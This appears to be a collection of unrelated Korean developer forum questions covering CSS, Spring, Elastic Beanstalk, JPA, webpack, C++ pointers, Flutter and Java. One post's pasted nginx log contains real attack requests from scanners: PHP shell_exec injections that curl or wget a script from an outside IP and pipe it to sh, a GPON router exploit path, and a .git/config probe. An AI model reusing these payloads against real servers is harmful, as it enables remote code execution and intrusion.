과제를 하면서 css 수정하면서 구글링 해봐도 해결이 안되는 부분이 있어 질문드립니다! export const SubmitBtn = styled.button` height: 52px; padding: 14px 60px; background-color: ${props => props.color}}; border: none; font-style: normal; font-weight: 500; font-size: 16px; line-height: 24px; margin-top: 74px; box-sizing: border-box; cursor: pointer; `수정하기/ 취소하기 버튼 CSS입니다. 이렇게 작성했을 때..이렇게 나옵니다. 분명 border: none; 을 작성해줬는데 적용이 안됩니다.이상해서 CSS 속성 하나씩 지워줬을 때,export const SubmitBtn = styled.button` height: 52px; padding: 14px 60px; // background-color: ${props => props.color}}; border: none; font-style: normal; font-weight: 500; font-size: 16px; line-height: 24px; margin-top: 74px; box-sizing: border-box; cursor: pointer; `이런식으로 background-color(또는background 속성)를 주석으로 처리하니 아래 사진처럼 테두리 선이 사라졌습니다.background 속성을 줬을 때 border: none 도 안먹히고 cursor: pointer; 속성도 안먹히던데 뭐가 문제인걸까요..ㅜㅜ

항상 Member객체를 만들고 시작하시는 것 같은데, 실제로는 멤버객체가 이미 있고 그걸 find하든 save하든 할거아니예요?? Test할땐 항상 처음부터 시작한다고 생각하고 로직을 짜나요??그리고 Test코드를 작성하는 이유는 무엇인가요? 기능 테스트를 할 때 항상 postman으로 했는데 그렇게 하는 것과 차이점이 있을까요 ???그리고 테스트코드에서는 main 디렉토리에 있는 클래스를 자유롭게 접근할 수 있는건가요? 예시에서도 MemoryMemberRepository를 쓰시길래 궁금해서 여쭤봅니다

안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "

(factoryCode는 외래키가 아닙니다! 찾아보니 일대일 매핑만 나왔습니다ㅠㅠ)읽기전용이 아닌 prodPlan 테이블의 ITEM_CODE와 Item 테이블의 MATERIAL_CODE를 조인하려 했는데요. 그럴려면 @Column itemCode를 지우고 사용해야 중복컬럼에러를 피할 수 있었습니다. @Column itemCode를 선언하고 조인하는 방법은 없을까요?

webpack을 실행하면 dist폴더에 app.js가 저장되고 이것을 실행하면서 react가 실행되었는데 핫리로딩을 할때는 dist폴더가 필요없고app.js도 안만들어지는것 같습니다 설정에서는 dist와 app.js를 명시하고 있는데 핫리로딩을 어디에서 app.js를 저장하는 건가요? 

#include <iostream>using namespace std;// 다중 포인터void SetMessage(const char* a){ a = "Bye"; }void SetMessage(const char** a){ *a = "Bye";}int main(){ // .rdata [H][e][l][l][o][\0] char형 배열 형태 // main stackframe msg[ Hello주소 ] << 8바이트 const char* msg = "Hello"; // [매개변수][RET][지역변수(msg(Hello주소))] [매개변수(a(Bye주소))][RET][지역변수] SetMessage(msg); cout << msg << endl; // .rdata [H][e][l][l][o][\0] char형 배열 형태 // msg [ Hello주소 ] << 8바이트 // pp[ &msg ] << 8바이트 const char** pp = &msg; SetMessage(pp); cout << msg << endl; return 0;} 메모리를 찬찬히 까보면서 확인했는데궁금한점이 있어서 글 남깁니다  1.void SetMessage(const char** a){ *a = "Bye";} 이 부분이 실행되고 난 뒤에 msg의 시작주소가 Hello주소가 아닌 Bye 주소를 나타내고있는데원래 포인터를 이용하면 해당 주소로 텔레포트 후 그 주소의 데이터에 직접 접근해서 데이터를 변경하는 것으로 알고있습니다그런데 문자열은 .rdata로 수정불가하기 때문에 단순히 msg가 가리키는 주소만 변경해서즉, msg의 시작주소가 Hello주소가 아닌 Bye의 시작주소를 가리키게 된건가요? 2.함수 호출이 끝난 뒤에는 Bye주소에 해당하는 값인 문자열 "Bye"는 메모리상에 데이터로 남아있던데이 데이터가 사라지지 않는 이유를 잘 모르겠습니다.스택 프레임 구조에서 [매개변수][RET][지역변수] 이 세가지만 없어지게 되서 그런건가요?  

이전 문의내용인데 혹시 방법이 없을까요?ㅜㅜ한글 2022인데 그것과 상관있을까요? 그전버전에서는 이상없었습니다.#Python#한컴오피스

같은 질문 해주신 글을 보았는데,실제 컴퓨터의 ip를 넣어주어야 한다는 답변을 써주셨던데login_screen.dart 파일에서final emulatorIp = '';final simulatorip = '';이 부분의 ip주소만 바꾸면 되는게 맞나요?어느 부분을 더 수정해야 하는지 궁금합니다..

@RequiredArgsConstructor이 애노테이션은 final이 붙은 변수의 생성자를 자동으로 생성해주고, 생성자가 하나만 있다면 @AutoWired를 생략할 수 있다고 알고 있습니다.private final MemberRepositoryV1 memberRepository;근데 여기서, MemberRepositoryV1가 Bean으로 등록되지 않았는데 어떻게 자동으로 주입을 받을 수 있는 것이죠?

안녕하세요, 선생님. 어제 배열 파트를 다시 복습하면서 생긴 문제가 있습니다.선생님께서는 for반복문에 for -each문을 이용하면서 출력되도록 하셨는데저는 조금 더 간결하게 하고자 for-each문 없이 주석처리한대로 해보니사이즈[I@75b84c92(재고있음) 이렇게, 사이즈에 해당하는 값은 안나오더라구요.혹시 이렇게 접근하면 안되는 이유가 있을까요? 두 번째로는 메소드에 관한 문제입니다.아래 코드처럼 메소드 값을 메인영역 밖에서 호출 시 에러나는 이유가 무엇인가요?잘은 모르지만 혹시나 지역변수 이런 것과 상관이 있는건가요?   //Quiz. 배열을 활용하여 쇼핑몰에서 구매 가능한 신발 사이즈 옵션을 출력하는 프로그램을 작성하시오 //조건 : 신발 사이즈는 250부터 295까지 5단위로 증가 //조건 : 신발 사이즈 수는 총 10가지 //실행결과 : 사이즈 250 (재고있음) / 사이즈 260 (재고있음),,, size에 해당하는 값을 배열로 만들기 // int size = 250; // int size = 255; // int size = 260; int[] size = new int[10]; for (int i = 0; i < size.length; i++) { size[i] = 250 + (5 * i); // System.out.println("사이즈"+size+"(재고있음)"); //왜 안되는지????????? } for (int size2 : size ) { System.out.println("사이즈"+size2+"(재고있음)"); } ------------------------------------------------------------------------------- public class Test1 { //호텔 전화번호 public static String getPhoneNumber(){ return "02-123-4567"; } //호텔 위치 public static String getAddress(){ return "서울시 어딘가"; } //호텔 엑티비티 public static String getActivities(){ return "수영장, 당구장, 볼링장"; } public static void main(String[] args) { //왜 메인영역 밖에서 호출하면 에러나지????? //메인 밑에서 매소드 호출 System.out.println("호텔위치 : "+getAddress()); System.out.println("호텔 전화번호 :"+getPhoneNumber()); System.out.println("호텔 엑티비티 : "+getActivities()); }

d3 가로메가 메뉴 말고도 다른부분들 암기할 부분들이 많은데... 물론 연습을 최대한 해보겠지만 만약 d3 유형 가로메가메뉴를 구현하지 못하고 c유형처럼 메뉴를 구성하게 됬을때 점수로 따지면 d3 메뉴에서 몇점정도 깎이게 되는건지 궁금합니다 ㅜㅜ 슬라이드 영역이 아니기에 실격은 아닐것 같은데..
